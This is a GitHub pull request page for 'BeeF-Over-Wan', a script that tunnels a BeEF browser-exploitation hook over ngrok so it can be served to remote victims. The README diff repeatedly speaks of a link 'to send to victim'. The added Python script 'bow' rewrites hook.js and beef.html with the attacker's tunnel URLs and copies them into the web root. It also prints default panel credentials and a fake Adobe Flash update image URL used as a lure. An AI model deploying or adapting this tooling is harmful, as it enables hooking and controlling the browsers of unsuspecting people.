Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Small but yet significant edits. #24

Open
wants to merge 11 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
55 changes: 26 additions & 29 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,43 +1,40 @@
# BeeF-Over-Wan
## Screenshots
![1](https://user-images.githubusercontent.com/33988926/37250457-1b013644-2523-11e8-86ba-ca22ee62179b.png)
![2](https://user-images.githubusercontent.com/33988926/37250458-1b722e3a-2523-11e8-84e4-1e9b4b9f4d02.png)
![3](https://user-images.githubusercontent.com/33988926/37250459-1ba6ad04-2523-11e8-83d8-44549be93735.png)
![4](https://user-images.githubusercontent.com/33988926/37250460-1bdb4e88-2523-11e8-9a0c-20bb7f34d6f7.png)
![1](https://github.com/Dev913/BeeF-Over-Wan/blob/master/Screenshot%201.png)
![2](https://github.com/Dev913/BeeF-Over-Wan/blob/master/Screenshot%202.png)


## Instructions :
You need two Links which are Forwarded To LocalHost:80 and LocalHost:3000
1. To send to Victim .
2. Beef listens on Port 3000 ,So this link should be forwared to LocalHost:3000 .

Just Enter your links in the Script ,Script will do neccessary changes required to opt for your Links .
## Instructions
You need two links which are Forwarded To LocalHost:80 and LocalHost:3000 to send to victim.
* Beef listens on port 3000. So this link should be forwared to LocalHost:3000
* Just do python start in the BOW folder. This script automatically starts with root privledges.
* Just Enter your links in the script. The python script will do neccessary changes required to opt for your links.

# NGROK Steps :-
### STEP 1 : Add these Lines To ngrok.yml [Location .ngrok2/ngrok.yml ]

# NGROK Steps
### STEP 1 - Add these Lines To ngrok.yml W/O TABS! (LOC=(.ngrok2/ngrok.yml))
tunnels:
first-app:
addr: 80
proto: http
second-app:
addr: 3000
proto: http
first-app:
addr: 80
proto: http
second-app:
addr: 3000
proto: http


### STEP 2 : Now Start ngrok with :
### STEP 2 - Now start ngrok with:
ngrok start --all
### STEP 3 : You will See 2 different links Forwarded to
### STEP 3 - You will See 2 different links Forwarded to:
Localhost:80 [ Link To be Sent to Victim ]
Localhost:3000 [ Your Link will be Connecting to.. ]

### STEP 4 : Enter these links in Script and Follow The Steps given in Script.
### STEP 4 - Enter these links in Script and Follow The Steps given in Script:

# Requirements
- Beef-xss [Browser Exploitation Framework]
- Apache
- NGROK [If you want to do this without Port Forwarding]
* Beef-xss [Browser Exploitation Framework]
* Apache
* NGROK [If you want to do this without Port Forwarding]

## ⭕️ Getting Started
1. ```git clone https://github.com/stormshadow07/BeeF-Over-Wan.git```
2. ```cd BeeF-Over-Wan```
3. ```chmod +x BeeFOverWan.py && python BeeFOverWan.py```
## Getting Started:
* ```git clone https://github.com/stormshadow07/BeeF-Over-Wan.git```
* ```cd BeeF-Over-Wan```
* ```chmod +x BeeFOverWan.py && python BeeFOverWan.py```
Binary file added Screenshot 1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added Screenshot 2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
56 changes: 19 additions & 37 deletions beef.html

Large diffs are not rendered by default.

126 changes: 126 additions & 0 deletions bow
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
#!/usr/bin/python
# -*- coding: utf8 -*-

import random
import string
import argparse
import os
from termcolor import colored
Filename="hook.js"

def banner():
return """
____ ______ ____ __ __ _ _
| _ \ | ____| / __ \ \ \ / /\ | \ | |
| |_) | ___ ___| |__ | | | |_ _____ _ __ \ \ /\ / / \ | \| |
| _ < / _ \/ _ \ __| | | | \ \ / / _ \ '__| \ \/ \/ / /\ \ | . ` |
| |_) | __/ __/ | | |__| |\ V / __/ | \ /\ / ____ \| |\ |
|____/ \___|\___|_| \____/ \_/ \___|_| \/ \/_/ \_\_| \_|

BY SKS... Edit by Dev913.info
https://github.com/stormshadow07 """
def color(string, color=None):
attr = []
attr.append('1')

if color:
if color.lower() == "red":
attr.append('31')
elif color.lower() == "green":
attr.append('32')
elif color.lower() == "blue":
attr.append('34')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)

else:
if string.strip().startswith("[!]"):
attr.append('31')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[+]"):
attr.append('32')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[?]"):
attr.append('33')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[*]"):
attr.append('34')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
else:
return string
def string_replace(filename, old_string, new_string):
# Safely read the input filename using 'with'
with open(filename) as f:
s = f.read()
if old_string not in s:
print '"{old_string}" not found in {filename}.'.format(**locals())
return

# Safely write the changed content, if found in the file
with open(filename, 'w') as f:
#print 'Changing "{old_string}" to "{new_string}" in {filename}'.format(**locals())
s = s.replace(old_string, new_string)
f.write(s)
print color(' [✔] File Changed...','green')





if __name__ == '__main__':
os.system("clear")
print color(" Checking Services Status Required ","blue")
os.system("sudo service apache2 start")
os.system("sudo start beef")
os.system("clear")
print color(banner(),"green")
send_to=raw_input(color((' [?] Enter Adress of Link [You are Sending to Victim]: ')))
send_to=send_to.rstrip()
print color((" [+] Send_To Link : "+ send_to))
connect_to=raw_input(color((' [?] Enter Adress of Link [Your Link will be Connecting to..]: ')))
connect_to=connect_to.rstrip()
print color((" [+] Connect_To Link : "+ connect_to))
print color(' [✔] Checking directories...','green')
if not os.path.isdir("./temp"):
os.makedirs("sudo ./temp")
print (color(" [+] Creating [./temp] directory for resulting code files","green"))
else:
os.system("rm -rf temp/*")
print color(" [✔] Clean Succesful","green")
connect_to_full=connect_to+":80/hook.js"
connect_to_panel=connect_to+"/ui/panel"
send_to_full=send_to+'/beef.html'
#print connect_to_full
os.system("cp base.js ./temp/hook.js")
string_replace("./temp/hook.js","SKS_1",connect_to_full)
string_replace("./temp/hook.js","SKS_2",connect_to)

os.system("sudo cp beef.html ./temp/beef.html")
string_replace("./temp/beef.html","SKS_3",send_to)
os.system("sudo cp ./temp/* /var/www/html/")
os.system("sudo chmod a+rw /var/www/html/hook.js")

print color(" \n==================================== RESULT ====================================\n","blue")
print color(" [+] Access The BeeF Control Panel Using : {}".format(connect_to_panel),"green")
print color(" Username = beef\n Password = beef\n","blue")
print color(" [+] Hooked Link To Send to Victim : "+send_to_full,"green")
print color(" FROM Image URL : http://0.0.0.0:3000/adobe/flash_update.png\n","red")
print color(" TO Image URL : {}:80/adobe/flash_update.png \n".format(connect_to),"green")
print color ('\n Having a problem?... Tip? Just contact me @: https://github.com/stormshadow07',"green")


















2 changes: 2 additions & 0 deletions start
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
from os import system
system("sudo python bow");
20 changes: 20 additions & 0 deletions temp/beef.html

Large diffs are not rendered by default.

9,523 changes: 9,523 additions & 0 deletions temp/hook.js

Large diffs are not rendered by default.